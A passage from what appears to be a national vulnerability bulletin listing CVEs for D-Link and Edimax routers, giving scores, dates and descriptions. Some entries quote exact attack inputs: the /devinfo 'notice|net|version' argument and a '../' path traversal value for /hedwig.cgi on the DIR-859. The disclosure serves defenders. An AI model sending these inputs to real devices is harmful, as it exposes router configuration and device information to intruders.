			DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-841					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-	N/A	H-DLI-DIR--090224/1482

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-842					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC,	N/A	H-DLI-DIR--090224/1483

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-842s					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-	N/A	H-DLI-DIR--090224/1484

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-843					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822,	N/A	H-DLI-DIR--090224/1485

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-853					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to	N/A	H-DLI-DIR--090224/1486

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-859					
Affected Version(s): -					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	21-Jan-2024	9.8	** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DIR-859 1.06B01. It has been rated as critical. Affected by this issue is some unknown functionality of the file /hedwig.cgi of the component HTTP POST	https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10371	H-DLI-DIR--090224/1487

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Request Handler. The manipulation of the argument service with the input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251666 is the identifier assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced. **CVE ID : CVE-2024-0769**		
Product: dir-878					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615,	N/A	H-DLI-DIR--090224/1488

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-882					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-	N/A	H-DLI-DIR--090224/1489

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-882_a1					
Affected Version(s): -					
Out-of-bounds Write	24-Jan-2024	9.8	D-Link DIR-882 DIR882A1_FW130B06 was discovered to contain a stack overflow via the	https://www.dlink.com/en/security-bulletin/	H-DLI-DIR--090224/1490

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sub_477AA0 function. **CVE ID : CVE-2024-22751**		
Product: dir-x1530					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability	N/A	H-DLI-DIR--090224/1491

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-x1860					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841,	N/A	H-DLI-DIR--090224/1492

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dsl-224					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	H-DLI-DSL--090224/1493

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dsl-245gr					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	H-DLI-DSL--090224/1494

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dsl-2640u					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	H-DLI-DSL--090224/1495

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dsl-2750u					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	H-DLI-DSL--090224/1496

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dsl-g2452gr					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	H-DLI-DSL--090224/1497

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dvg-5402g					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	H-DLI-DVG--090224/1498

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dvg-5402g\/gfru					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	H-DLI-DVG--090224/1499

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dvg-n5402g					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	H-DLI-DVG--090224/1500

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dvg-n5402g\/il					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	H-DLI-DVG--090224/1501

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dwm-312w					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	H-DLI-DWM--090224/1502

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dwm-321					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	H-DLI-DWM--090224/1503

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dwr-921					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	H-DLI-DWR--090224/1504

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dwr-953					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	H-DLI-DWR--090224/1505

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: go-rt-ac750					
Affected Version(s): -					
Out-of-bounds Write	16-Jan-2024	9.8	In D-LINK Go-RT-AC750 v101b03, the sprintf function in the sub_40E700 function within the cgibin is susceptible to stack overflow. **CVE ID : CVE-2024-22916**	N/A	H-DLI-GO-R-090224/1506
Vendor: Edimax					
Product: br-6478ac					
Affected Version(s): v2					
Out-of-bounds Write	16-Jan-2024	9.8	A stack-based buffer overflow vulnerability in	N/A	H-EDI-BR-6-090224/1507

